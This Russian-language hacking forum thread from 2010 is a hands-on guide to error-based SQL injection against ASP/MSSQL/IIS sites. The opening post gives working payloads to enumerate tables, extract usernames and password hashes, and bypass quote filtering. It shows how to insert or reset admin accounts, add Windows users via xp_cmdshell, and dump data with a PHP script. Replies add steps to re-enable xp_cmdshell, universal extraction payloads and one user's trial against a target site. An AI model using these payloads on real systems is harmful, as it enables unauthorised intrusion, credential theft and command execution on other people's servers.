Старый 21.10.2010, 20:50   #1
v1d0q
 
Аватар для v1d0q
 
Регистрация: 09.07.2010
Сообщений: 91
Репутация: 85
По умолчанию MSSQL SQL Injection

Вывод ошибок.

http://site.com/script.asp?id=5's

Код:
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark after the character string '5's'.
/file.asp, line 1000
Ошибки могут быть разные, в зависимости на чем обрабатывается mssql (php, asp, cfm).

В статье в основном будут приведены примеры asp + MSSQL + IIS, потому что "это" встречается чаще всего. + Будет использоваться только обертка инъекций, построение запросов и все в этом духе, описываться не будет.
Для начала, хочу заметить, если мы нашли ошибку, это не всегда означает что присутствует инъекция. Для проверки попробуем вывести версию mssql.

5' or 1=@@version-- => Версия

Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3080.00 (Intel X86) Sep 6 2009 01:43:32 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)' to a column of data type int.
/file.asp, line 1000
Есть и другие варианты для проверки..

id=5' or 1=(select db_name())-- => Имя Базы Данных текущего юзера.
id=5' or 1=(select system_user)-- => Имя юзера владельца данной базой.
id=5' and len(@@version)=len(@@version)-- => true
id=5' and (@@TEXTSIZE>@@LANGID)-- => true




Поиск таблиц и колонок.

Код:
5'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
В ответ мы получим.

Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'table_name' to a column of data type int.
/file.asp, line 1000
Где table_name => имя первой таблицы. Как же получить название 5-й таблицы? В MSSQL отсутствует функция "limit", но есть другие варианты вывода.

- Первый метод. С помощью метода исключения (с указыванием имен таблиц).
Код:
5'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table_name1','table_name4',table_name3','table_name4'))--
- Второй метод. С помощью метода исключения (без указывания имен таблиц).
Код:
5'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(SELECT+TOP+4+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))--
- Третий метод. С помощью математического знака ">" (с указанием "последней" выбранной таблицы). Плюс в этом методе, то что можно достать хоть 53423-ю запись в таблице, чего мы не сможем сделать вариантом 1 и 2, потому что mssql пытается пройтись по всем выбранным записям которые мы хотим исключить через NOT IN (больше 500 записей, база уже начинает неплохо подтормаживать)).
Код:
5'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME>'table_name4')--
Колонки достаем аналогично, только с таблицы COLUMNS



Вывод данных.

Допустим в таблице Users есть колонки id(int), username(varchar), password(binary).
Для того чтобы выводить разные типы данных, нам прийдется использовать функции преобразования типа данных (cast, convert, etc..)

Выведем первую запись в колонке id
Код:
5'+or+1=(select+top+1+cast(id+as+nvarchar)+from+Users)--
В ответ получим

Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value '1' to data type int.
/inc/file.asp, line 104
Иногда функции преобразования могут не решать проблемы, тогда данные можно вывести через функцию которая служит для преобразования выбираемых данных в XML формат -> "FOR XML PATH", (начиная с 2005 версии MSSQL-сервера) -> к этой функции мы ещё вернемся.
Код:
5'+or+1=(select+top+1+cast(id+as+nvarchar)+from+Users+FOR+XML+PATH(''))--
Вроде ещё была ещё возможность выводить вообще без тегов, но что-то забыл как =(.



Теперь попробуем вывести ячейку с колонки password, казалось бы должно работать так "cast(password+as+binary), но бывают случаи когда FOR XML PATH, cast или convert не дают нужного результата. Тогда можно поискать и другие функции, которые к сожелению нигде не описанные. Одна из них. (".." - аналог для доступа к системной таблице => 'dbo').
Код:
5'+or+1=(select+top+1+master..fn_varbintohexstr(password)+from+Users)--
Теперь попробуем вывести сразу 3 ячейки с 3-х разных колонок, одновременно (в mssql нету функции типа concat() - как в mysql, но тут можно тупо соединить выводимые данные в одну ячейку с помощью "%2B':'%2B". Если мои догадки верны, то %2B(+) интерпретируется mssql именно как +(плюс), а не как пробел, за счет чего и проходит объединение).
Код:
5'+or+1=(SELECT+TOP+1+cast(id+as+nvarchar)%2B':'%2Bconvert(nvarchar,username)%2B':'%2Bmaster..fn_varbintohexstr(password)+FROM+Users)--
Если все типы выводятся без ошибок, то можно так, ... TOP+1+id%2B':'%2Busername%2B':'%2Bpassword ... ;

В ответ получим:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value '1:admin:e075739... ' to data type int.
/inc/file.asp, line 101
Можно ещё немного проще, т.е. сделать nvarchar для всех выводимых ячеек (будьте осторожны, quotename вернет null, если выводимые данные будут больше 258 байт -> 128 символов в unicode).
Код:
5'+or+1=(SELECT+TOP+1+quotename(id%2B':'%2Busername)+FROM+Users)--
Если фильтруются/слешируются кавычки, тогда меняем нужное слово за зачаренное, примерно так
Код:
5'+or+1=(SELECT+TOP+1+column_name+FROM+information_schema.columns+where+table_name=char(85)%2Bchar(115)%2Bchar(101)%2Bchar(114)%2Bchar(115))--
В этом нам поможет маленький скриптец. (с).::Gh0st::.
PHP код:
<? 
$encode 
"table_name"

$n strlen($encode); 
for (
$i 0$i <= ($n-1); $i++) 

if ((
$n-1) === $i) {echo "char(".ord($encode[$i]).")";} 
else 

echo 
"char(".ord($encode[$i]).")%2B";     


?>



INSERT, UPDATE.

Есть ещё один плюс в mssql + IIS, это то что очень часто мы можем "оборвать" запрос с помощью знака ";", после чего создать новый.

Делается все практически так же.

Код:
5';+INSERT+INTO+Users+(id,username,pass)+VALUE+(1,'admin','mypass')--
Код:
5';+UPDATE+Users+set+password='mypass'+where+username='admin'--



Выполнение команд.

Если хватит прав, как правило у пользователя "sa" (root в mysql), можно попробывать выполнить что-то из перечисленных команд:

Код:
xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell <команда> (исполнение файла через cmd.exe)
xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
sp_makewebtask (выполнение команды html вида)
Как использовать? Очень просто, обрываем запрос знаком ";" -> после чего создаем свой запрос.

Код:
5';exec master..xp_cmdshell 'dir c:\'--
Код:
5';exec master..xp_cmdshell 'net user admin password /add'--
В обход кавычек.
Код:
5';exec master..xp_cmdshell [net user admin password /add]--



DUMP.

Теоретически слить сразу всю базу через инъекцию без знания структуры базы, нельзя. Но можно получить информацию следующими способами. Первый, парсить, 1 запрос - 1 запись (позже выложу такой парсер). Второй, парсить через функцию FOR XML RAW (это ~ 2 000 символов за запрос), скрипт выкладываю. Взято с pastebin.com

PHP код:
<?php

$host 
"www.test.net";
$port 80;

for(
$i=$j=0;;$i+=1990,$j++) {
    
$p "GET /index.asp?id=1'".urlencode(" and 1= (SELECT convert(int,SUBSTRING((SELECT TABLE_NAME AS e FROM information_schema.TABLES FOR XML RAW ('a')),$i,1990)))--")." HTTP/1.0\r\n";
    
$p.= "Host: $host\r\n";
    
$p.= "Connection: close\r\n\r\n";

    
$ock fsockopen(gethostbyname($host), $port);
    if(!
$ock) {
        return 
false;
    }
    
fputs($ock$p);
    
$html='';
    while(!
feof($ock)) {
        
$html.= fgets($ock);
    }
    
$html explode("\r\n\r\n",$html);
    if(
stripos($html[1],'type mismatch')!==false) {
        break;
    }
    
$out = array();
    
preg_match("@the nvarchar value '(.+?)'*( to data type int\.)*</font>@"$html[1], $out);
    if(isset(
$out[1])) {
        
$xml .= htmlspecialchars_decode($out[1]);
    } else {
        break;
    }

}

$r xml_parser_create();
$out = array();
xml_parse_into_struct($r'<root>'.$xml$out);
foreach(
$out as $el) {
    echo 
$el['attributes']['E']."\r\n";
}


upd. Решил немного переписать и выложить пока сыроватый вариант статьи о mssql inj. Со временем буду пополнять. Писал в основном для того чтобы можно было обсуждать mssql на rdot, а не лезьть на левые форумы всякий раз как интересует какие-либо фишки о mssql.

copyright -> Большая часть статьи уже была описана здесь, большое спасибо всех кто там оставлял свои наработки по теме msql injection. Так же часть бралась отсюда.

Последний раз редактировалось v1d0q; 25.11.2010 в 19:52..
v1d0q вне форума   Ответить с цитированием
Старый 22.10.2010, 10:12   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Добавление (почему-то ни в одной статье этого не видел - что странно, неужели авторы статей с mssql в реальности не сталкиваются...) про MSSQL2005 (и может 2008):
после MSSQL2000 выполнение xp_cmdshell по умолчанию всегда выключено, чтобы включить нужно последовательно выполнить следующие команды:
Код:
EXEC sp_configure 'show advanced options',1
reconfigure
EXEC sp_configure 'xp_cmdshell',1
reconfigure
При этом в логах остаются соответствующие (заметные) сообщения.

PS show advanced options затем можно отключить (не забыв выполнить reconfigure, но тогда еще одной записью в логах будет больше).
SynQ вне форума   Ответить с цитированием
Старый 10.11.2010, 20:56   #3
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию

Фича найденная IceAngel_'ом с order by работает в mssql так же.
Цитата:
SELECT id,login,password FROM users WHERE id=-1 order by 1,2,3 --
Вернёт просто:
Цитата:
Типы данных text, ntext и image нельзя сравнивать и сортировать, за исключением случаев использования оператора IS NULL или LIKE.
А если скинуть больше чем есть колонок:
Цитата:
SELECT id,login,password FROM users WHERE id=-1 order by 1,2,3,4 --
Вернёт:
Цитата:
Типы данных text, ntext и image нельзя сравнивать и сортировать, за исключением случаев использования оператора IS NULL или LIKE.
Номер позиции 5 для ORDER BY находится за пределами диапазона номеров позиций в списке выбора.
__________________
Twitter - @Ctacok
Ctacok вне форума   Ответить с цитированием
Старый 25.11.2010, 01:36   #4
Seravin
 
Регистрация: 06.07.2010
Сообщений: 13
Репутация: 2
По умолчанию

я не шарю в mssql инъекциях, по этому пришлось читать прежде чем делать. Так вот пока делал к чему пришёл(просто распишу последовательность для тех кто тоже не в теме):
для вывода названий таблиц и колонок подошёл второй метод, остальные не работали, в итоге запрос у меня приобрёл такой вид
Код:
http://site.com/PageID=1+or+1=(SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+35+table_name+FROM+information_schema.tables))
но тут собственно всё понятно и описано выше, но проблема возникла для получения названий колонок.
table_name = 'users' не работает
table_name = (SELECT+TOP+1+table_name+FROM+information_schema.t ables+WHERE+table_name+not+in+(SELECT+TOP+35+table _name+FROM+information_schema.tables)) не работает
table_name like '%25users%25' не работает(на ачате конструкцию увидел, что такое %25 я не знаю)
путём всякого рода извращенств я пришёл к такой конструкции
Код:
http://site.com/PageID=1+or+1=(SELECT+TOP+1+column_name+FROM+information_schema.columns+WHERE+table_name like (SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+35+table_name+FROM+information_schema.tables)))
ну и по аналогии извлекаем инфу о второй колонки и далее
Код:
http://site.com/PageID=1+or+1=(SELECT+TOP+1+column_name+FROM+information_schema.columns+WHERE+table_name like (SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+35+table_name+FROM+information_schema.tables))+and+column_name+not+in+((SELECT+TOP+1+column_name+FROM+information_schema.columns+WHERE+table_name like (SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+35+table_name+FROM+information_schema.tables)))))
Seravin вне форума   Ответить с цитированием
Старый 25.11.2010, 19:54   #5
v1d0q
 
Аватар для v1d0q
 
Регистрация: 09.07.2010
Сообщений: 91
Репутация: 85
По умолчанию

От лажа, неправильно подписал скрипт =(, исправил.

Seravin, эти извращения ни к чему. Пробуй вместо ['Users'] => [char(85)%2Bchar(115)%2Bchar(101)%2Bchar(114)%2Bcha r(115)]

А третий метод работает в случае если знак ">" не косячит. В твоем случае косяк.

Последний раз редактировалось v1d0q; 25.11.2010 в 20:18..
v1d0q вне форума   Ответить с цитированием
Старый 25.11.2010, 20:06   #6
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
- Второй метод. С помощью метода исключения (без указывания имен таблиц)
не самый лучший вариант, уже писал на ачаде, напишу и здесь, универсальный метод работающий в большинстве случаев без глюков:

1. Узнаем кол-во таблиц (или колонок - тогда information_schema.columns и where table_name=...):

Цитата:
## кол-во таблиц в in_sch.tables
5'+or+1=convert(int,(SeLeCT+SUBSTRING(char(39)%2bc har(94)%2bchar(39)%2BCAST(COUNT(*)%20AS%20varchar) ,1,1000)+FROM+INfORmATION_ScHEMA.TaBLeS))
2. Самое главное - универсальный способ забора названий таблиц/колонок без растягивания урла до неработающей длины в потенциале:

Цитата:
5'+or+1=(SeLect+max(table_name)+from+(select+top+1 +table_name+from+information_schema.tables+where+t able_name+not+in+(select+top+". $i . "+table_name+from+information_schema.tables+order+ by+table_name)+order+by+table_name)a)

где $i - номер интересующего объекта (аналог limit)

3. Ну и забор непосредственно данных:

5'+or+1=(select+top+1+". $column_name . "+from+". $table . "+where+". $column_name . "+not+in+(select+top+". $i . "+". $column_name . "+from+". $table . "+order+by+" . $column_name. ")+order+by+".$column_name . ")"

где $table - таблица, а $column_name - соответственно колонка, $i - число, аналог перебора по limit

PS: Проеврено на практике (с)
PS: Не забудьте удалить пробелы для работабельности

Последний раз редактировалось Pashkela; 25.11.2010 в 20:19..
Pashkela вне форума   Ответить с цитированием
Старый 25.11.2010, 20:59   #7
Seravin
 
Регистрация: 06.07.2010
Сообщений: 13
Репутация: 2
По умолчанию

Цитата:
Сообщение от v1d0q Посмотреть сообщение
От лажа, неправильно подписал скрипт =(, исправил.

Seravin, эти извращения ни к чему. Пробуй вместо ['Users'] => [char(85)%2Bchar(115)%2Bchar(101)%2Bchar(114)%2Bcha r(115)]

А третий метод работает в случае если знак ">" не косячит. В твоем случае косяк.
не понял зачем [] но я пробовал через char (Incorrect syntax near 'CHAR'.), а сейчас и со скобками попробывал
Invalid column name 'CHAR(70) CHAR(111) CHAR(110) CHAR(116) CHAR(115)'
Seravin вне форума   Ответить с цитированием
Старый 25.11.2010, 21:03   #8
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

[] - это феничка, дабы выделить нужное, по-моему понятно, особенно если посмотреть на ['Users']

PS: Вынуждают флудить в правильной теме)

2 Seravin:

подобные вопросы лучше задавать в уязвимостях, дабы не засирать ВАЖНУЮ тему (аля справочник)

Последний раз редактировалось Pashkela; 25.11.2010 в 21:06..
Pashkela вне форума   Ответить с цитированием
Старый 25.11.2010, 21:11   #9
Seravin
 
Регистрация: 06.07.2010
Сообщений: 13
Репутация: 2
По умолчанию

дело ещё в том что на order он пишет
Код:
An expression of non-boolean type specified in a context where a condition is expected, near 'order'.
з.ы. почистить потом просто тему от этих постов
Seravin вне форума   Ответить с цитированием
Старый 25.11.2010, 22:22   #10
Seravin
 
Регистрация: 06.07.2010
Сообщений: 13
Репутация: 2
По умолчанию

потому что я заменял %2b на +, чего как оказывается не надо делать, я просто гг mssql знаю
Seravin вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot